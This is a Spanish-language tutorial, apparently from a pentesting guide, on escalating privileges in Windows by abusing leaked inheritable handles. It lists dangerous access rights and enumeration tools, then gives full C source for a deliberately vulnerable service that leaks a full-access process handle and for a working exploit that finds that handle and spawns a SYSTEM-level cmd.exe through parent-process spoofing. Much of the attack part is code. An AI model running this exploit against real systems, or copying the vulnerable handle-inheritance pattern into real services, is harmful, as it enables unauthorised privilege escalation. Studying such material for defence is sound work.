Las manijas en un proceso permiten acceder a diferentes recursos de Windows:
Ya ha habido varios casos de escalada de privilegios donde un proceso privilegiado con manijas abiertas e heredables ha ejecutado un proceso no privilegiado dándole acceso a todas esas manijas.
Por ejemplo, imagina que un proceso que se ejecuta como SISTEMA abre un nuevo proceso (OpenProcess()) con acceso total. El mismo proceso también crea un nuevo proceso (CreateProcess()) con bajos privilegios pero heredando todas las manijas abiertas del proceso principal.
Entonces, si tienes acceso total al proceso de bajos privilegios, puedes obtener la manija abierta al proceso privilegiado creado con OpenProcess() e inyectar un shellcode.
Manijas Interesantes
Proceso
Como leíste en el ejemplo inicial, si un proceso no privilegiado hereda una manija de proceso de un proceso privilegiado con suficientes permisos, podrá ejecutar código arbitrario en él.
En este excelente artículo puedes ver cómo explotar cualquier manija de proceso que tenga alguno de los siguientes permisos:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Hilo
Similar a las manijas de proceso, si un proceso no privilegiado hereda una manija de hilo de un proceso privilegiado con suficientes permisos, podrá ejecutar código arbitrario en él.
En este excelente artículo también puedes ver cómo explotar cualquier manija de hilo que tenga alguno de los siguientes permisos:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Manijas de Archivo, Clave y Sección
Si un proceso no privilegiado hereda una manija con permisos equivalentes de escritura sobre un archivo o registro privilegiado, podrá sobrescribir el archivo/registro (y con mucha suerte, escalar privilegios).
Las manijas de Sección son similares a las manijas de archivo, el nombre común de este tipo de objetos es "Mapeo de Archivos". Se utilizan para trabajar con archivos grandes sin mantener el archivo completo en memoria. Eso hace que la explotación sea "similar" a la explotación de una Manija de Archivo.
Cómo ver las manijas de los procesos
Process Hacker
Process Hacker es una herramienta que puedes descargar de forma gratuita. Tiene varias opciones increíbles para inspeccionar procesos y una de ellas es la capacidad de ver las manijas de cada proceso.
Ten en cuenta que para ver todas las manijas de todos los procesos, se necesita el privilegio SeDebugPrivilege (por lo que debes ejecutar Process Hacker como administrador).
Para ver las manijas de un proceso, haz clic derecho en el proceso y selecciona Manijas:
Luego puedes hacer clic derecho en la manija y verificar los permisos:
Sysinternals Handles
El binario Handlesde Sysinternals también listará las manijas por proceso en la consola:
LeakedHandlesFinder
Esta herramienta te permite monitorear las manijas filtradas e incluso explotarlas automáticamente para escalar privilegios.
Metodología
Ahora que sabes cómo encontrar las manijas de los procesos, lo que necesitas verificar es si algún proceso no privilegiado tiene acceso a manijas privilegiadas. En ese caso, el usuario del proceso podría ser capaz de obtener la manija y abusar de ella para escalar privilegios.
Se mencionó anteriormente que necesitas el SeDebugPrivilege para acceder a todas las manijas. Pero un usuario aún puede acceder a las manijas de sus procesos, por lo que podría ser útil si deseas escalar privilegios solo desde ese usuario para ejecutar las herramientas con los permisos regulares del usuario.
Por ejemplo, el siguiente código pertenece a un servicio de Windows que sería vulnerable. El código vulnerable de este binario de servicio se encuentra dentro de la función Exploit. Esta función comienza creando un nuevo proceso de handle con acceso completo. Luego, crea un proceso de baja privilegiado (copiando el token de baja privilegiado de explorer.exe) ejecutando C:\users\username\desktop\client.exe. La vulnerabilidad radica en el hecho de que crea el proceso de baja privilegiado con bInheritHandles como TRUE.
Por lo tanto, este proceso de baja privilegiado puede obtener el handle del proceso de alto privilegio creado primero e inyectar y ejecutar un shellcode (ver la siguiente sección).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Ejemplo de Exploit 1
En un escenario real, probablemente no podrás controlar el binario que será ejecutado por el código vulnerable (C:\users\username\desktop\client.exe en este caso). Probablemente comprometerás un proceso y necesitarás verificar si puedes acceder a algún handle vulnerable de algún proceso privilegiado.
En este ejemplo puedes encontrar el código de un posible exploit para C:\users\username\desktop\client.exe.
La parte más interesante de este código se encuentra en GetVulnProcHandle. Esta función comenzará a obtener todos los handles, luego verificará si alguno de ellos pertenece al mismo PID y si el handle pertenece a un proceso. Si se cumplen todos estos requisitos (se encuentra un handle de proceso abierto accesible), intentará inyectar y ejecutar un shellcode abusando del handle del proceso.
La inyección del shellcode se realiza dentro de la función Inject y simplemente escribirá el shellcode dentro del proceso privilegiado y creará un hilo dentro del mismo proceso para ejecutar el shellcode.
En un escenario real, probablemente no podrás controlar el binario que será ejecutado por el código vulnerable (C:\users\username\desktop\client.exe en este caso). Probablemente comprometerás un proceso y necesitarás verificar si puedes acceder a algún handle vulnerable de algún proceso privilegiado.
En este ejemplo, en lugar de abusar del handle abierto para inyectar y ejecutar un shellcode, se utilizará el token del proceso con el handle abierto privilegiado para crear uno nuevo. Esto se hace en las líneas del 138 al 148.
Observa cómo la función UpdateProcThreadAttribute se utiliza con el atributo PROC_THREAD_ATTRIBUTE_PARENT_PROCESS y el handle al proceso privilegiado abierto. Esto significa que el hilo del proceso creado que ejecuta _cmd.exe_** tendrá el mismo privilegio de token que el proceso con el handle abierto**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Esta herramienta te permite monitorear handles filtrados para encontrar vulnerables e incluso explotarlos automáticamente. También tiene una herramienta para filtrar uno.